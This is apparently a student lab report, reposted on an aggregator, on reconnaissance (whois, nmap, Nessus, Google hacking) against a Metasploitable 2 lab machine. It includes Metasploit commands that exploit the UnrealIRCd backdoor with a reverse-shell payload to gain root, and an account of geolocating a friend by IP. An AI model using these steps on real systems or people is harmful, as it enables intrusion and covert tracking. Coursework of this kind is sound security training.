20222327 2024-2025-1 《网络与系统攻防技术》实验五实验报告

news/2024/11/19 10:40:31/文章来源:https://www.cnblogs.com/qgomlxg/p/18553909

一、实验内容

网络攻击需要搜集的信息包括:

攻击对象的名称和域名;目标网络位置,如IP地址、DNS服务器、外部网络拓扑结构;现实世界中的对应物,如注册信息、电话号段、网络或安全管理员及联系方式、地理位置等;网络地图,包括活跃主机IP、操作系统类型、开放的端口与运行的网络服务类型,以及存在的安全漏洞等。

信息搜集的技术方法

信息搜集的技术方法主要分为两大类:主动信息搜集和被动信息搜集。
主动信息搜集:
与目标主机进行直接交互,从而获取目标信息。
能够获取更多的信息,但目标主机可能会记录攻击者的操作记录。
常用的方法包括网络扫描,如使用X-scan等扫描器对目标进行扫描,评估漏洞风险等。
被动信息搜集:
不与目标主机进行直接交互,通过搜索引擎或社会工程等方式间接获取目标主机的信息。
收集的信息相对较少,但行动不会被目标主机发现。
常用的方法包括网络踩点,如通过Google Hacking等技术利用搜索引擎搜索目标信息,以及从公开渠道收集信息,如目标Web网页、地理位置、组织结构和人员等。

二、实验过程

1.实验要求

(1)从www.besti.edu.cn、baidu.com、sina.com.cn中选择一个DNS域名进行查询,获取如下信息:

DNS注册人及联系方式

获取baidu.com的信息whois baidu.com

可知

DNS注册人:MarkMonitor Inc
邮箱:abusecomplaints@markmonitor.com
电话:2086851750
该域名对应IP地址

获取baidu.com的IP地址nslookup baidu.com


获取到IP地址

Name:   baidu.com
Address: 39.156.66.10
Name:   baidu.com
Address: 110.242.68.66

获取到IP地址之后我们利用其中一个地址查询IP地址注册人及联系方式

IP地址注册人及联系方式

利用whois 110.242.68.66查询IP地址的注册人和联系方式

IP地址所在国家、城市和具体地理位置

使用命令dig baidu.com查看IP地址所在国家、城市和具体地理位置

书接上回:

查看本机到baidu.com的路由路径(使用traceroute)

使用命令traceroute baidu.com查看数据包从源到目的经过的路由IP,并输出到达目标地址的延迟情况和节点信息

使用在线工具查询baidu.com的IP

此处查询上文中查询到的IP地址:110.242.68.66

与步骤 IP地址注册人及联系方式中所查询到的信息相一致,命令为whois 110.242.68.66
在线工具:https://q.ip5.me

(2)尝试获取BBS、论坛、QQ、MSN中某一好友的IP地址,并查询获取该好友所在的具体地理位置。

查询对象的IP地址(⁄(⁄ ⁄•⁄ω⁄•⁄ ⁄)⁄)(对尾部)

根据资源监视器查到的IP,查到位置在宁夏

(3)使用nmap开源软件对靶机环境进行扫描,回答以下问题并给出操作命令。

主机:kali 192.168.60.130
靶机:Metasploitable 2 192.168.1.104

靶机IP地址是否活跃

使用命令nmap -sN 192.168.1.104进行查看

靶机开放了哪些TCP和UDP端口

使用sudo nmap -sU -sT 192.168.1.104命令

靶机安装了什么操作系统,版本是多少

使用nmap -O 192.168.1.104查看系统版本

靶机上安装了哪些服务

利用nmap -sV 192.168.1.104查看靶机上安装了哪些任务

(4)使用Nessus开源软件对靶机环境进行扫描,回答以下问题并给出操作命令。

这里不再给出安装的具体过程,在末尾会给出参考文档
主机:kali 192.168.60.130
靶机:Metasploitable 2 192.168.1.104

靶机上开放了哪些端口

靶机各个端口上网络服务存在哪些安全漏洞

先进行漏洞扫描

分析其中一个漏洞

根据扫描结果,该漏洞为UnrealIRCd Backdoor Detection
该漏洞是UnrealIRCd(是一个开源的IRC服务器软件),而该后门漏洞允许远程攻击者执行任意代码于受影响的主机上

你认为如何攻陷靶机环境,以获得系统访问权

通过上一步中对于漏洞的扫描结果,可以利用UnrealIRCd的版本漏洞,获取系统文件的操作权限

1.search unreal ircd查找有无相应漏洞载荷

2.use exploit/unix/irc/unreal_ircd_3281_backdoor使用相对应的载荷

3.利用下列命令进行攻击
set RHOST 192.168.43.214
set LHOST 192.168.43.185
set payload cmd/unix/reverse_perl
exploit


成功获取系统访问权限,输入whoami后输出root,可见已经获取了系统访问权限

(5)①通过搜索引擎搜索自己在网上的足迹,并确认自己是否有隐私和信息泄漏问题。

搜索自己学号

搜自己的名字搜不出来自己,只能搜到别人( ̄□ ̄||)
②并练习使用Google hack搜集技能完成搜索(至少10种搜索方法)

intitle:"GTA"查找网页标题中包含GTA的页面。

inurl:"edu"查找URL中包含edu的页面。

allinurl:php login查找URL中包含php和login的页面。

"default password"查找精确匹配default password的页面。

site:huawei.com限制搜索范围为huawei.com网站。

cache:firefox.com查看Google缓存中的firefox.com网页内容。

filetype:docx查找 docx格式的报告文件。

password -default排除包含default的password页面。

related:facebook.com查找与facebook.com类似的网站。

allintitle:camera security查找标题中包含camera和security的页面。

三、问题及解决方案

  • 问题1:在nessus安装完成、插件完成编译之后无法扫描
  • 问题1解决方案:对插件进行更新、重新编译、重启服务之后就可以正常扫描

四、学习感悟、思考等

本次实验通过在线工具、本地工具进行信息搜集,在感受到利用信息搜索工具“组合技”所展现出来的强大能力之后,我也对信息安全和个人隐私泄露深感担忧,在完成本次实验中的尝试获取BBS、论坛、QQ、MSN中某一好友的IP地址,并查询获取该好友所在的具体地理位置。任务时,我认识到在互联网上可以很轻松的被别人获取到我的敏感信息,可能就是一个电话,一条消息就能被获取到位置,甚至是设备信息等,也让我认识到在网络上应该加强保护自己隐私信息的意识。

参考资料

  • Kali Linux Nessus详细安装步骤!!!

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.hqwc.cn/news/836686.html

如若内容造成侵权/违法违规/事实不符,请联系编程知识网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

小鸟科技携手纷享销客,共谱CRM国产化替代新篇章

小鸟科技(DigiBird)成立于2009年,是一家专注于全球专业视听领域,为客户提供数字化解决方案的国家高新技术企业。小鸟科技先后在北京、上海、广州、成都、西安、沈阳、济南、南京等多地设立分公司或服务网点,并拥有北京、郑州、南京三大研发团队,成功以自主品牌进入国际市…

LeetCode 2769[找出最大的可达成数字]

LeetCode 2769[找出最大的可达成数字]题目 链接 LeetCode 2769[找出最大的可达成数字] 详情实例提示题解 思路 每一步操作可同时操作 num 和 x ,可同时增加或者减少,若使 num 为最小值,每一步增加 1 个,同时 x 减少一个,则此时的 x 即为最大值 num 减少同时 x 增加,则操作…

王爽汇编笔记(第三版)

1. 测试环境 1.1 DosBox 简介:模拟dos环境的一个软件 下载地址:https://www.dosbox.com/download.php?main=1安装步骤:下一步...... 问题1: debug 不是内部或外部命令,也不是可运行的程序或批处理文件。 debug : 无法将“debug”项识别为 cmdlet、函数、脚本文件或可运行程…

VLC多媒体播放器 合并字幕srt文件和mp4文件 方法

转载自: 链接:https://blog.csdn.net/sdkdlwk/article/details/143867825 作者:sdkdlwk步骤: 1. 将视频和字幕放到同一个文件夹,并保证二者名字相同。 选择菜单"媒体"->"流"或者ctrl+s点"添加"选择视频文件,注意这里不要选择下面的使用…

聊聊springboot项目中使用jackson的一些小技巧

前言 在我们前后端联调时,很经常以json作为数据的交互格式,今天我们就来聊聊在开发springboot项目中,使用jackson进行数据渲染一些小技巧 场景一:枚举-JSON互转 在日常开发中我们为了避免过多的魔法值,使用枚举类来封装一些静态的状态代码。 但是在将这些枚举的意思正确而…

存储快照原理

快照有COW(Copy On Write,写时复制)和ROW(Redirect On Write,写重定向)两种实现方式。 1 .COW COW(Copy-On-Write),写时拷贝,也称为写前拷贝。 创建快照,如果源卷的数据发生了变化,快照系统会将原始数据拷贝到快照卷上的数据块中,然后再对源卷进行改写; OW快照在初…

树分治全家桶

树分治全家桶 树,(是一种益于保护环境植物)是图论当中的一种特殊图,由于(绿化环境的作用非常优秀)特殊性质丰富,经常出现在我们身边。 本文将主要介绍(如何植树)一种树上优美的暴力——树分治。 树分治 树分治可以将部分暴力降至 \(O(\log n)\) 至 \(O(\log^2 n)\) 级…

模拟计算hash前面N个0需要的时间

写了一个python代码用来模拟计算当hash前面有N个0时需要多长时间。 代码如下: import hashlib import time from datetime import timedelta from plyer import notificationdef find_hash_with_prefix_zeros(prefix_length=6):# 初始字符串base_text = "Hello, World!&q…

StopWatch使用

调试查看耗时的一个便捷类,一般只使用三个方法StopWatch stopWatch = new StopWatch();stopWatch.start("获取对象");//逻辑代码xxxxxxxxxxxstopWatch.stop();log.info(stopWatch.prettyPrint()); //打印详细信息

IDEA svn项目 更换SVN地址

原svn项目地址URL1,后来把项目移到了URL2,但自己的SVN地址是URL1且已改了好多东西,不想down URL2源码再改。 解决方法: 原文链接:https://blog.csdn.net/weixin_35721320/article/details/79290369

值得推荐的IT公司名单(广州篇)

广州,作为中国南方的重要城市,不仅历史悠久,而且在科技创新方面也具有极高的活力。特别是在IT领域,广州孕育了许多知名企业和创业公司,成为众多技术人才的聚集地。本文将介绍一些在广州值得去的IT公司,为那些希望在广州发展的技术人才提供参考。 互联网大厂 1、腾讯:作为…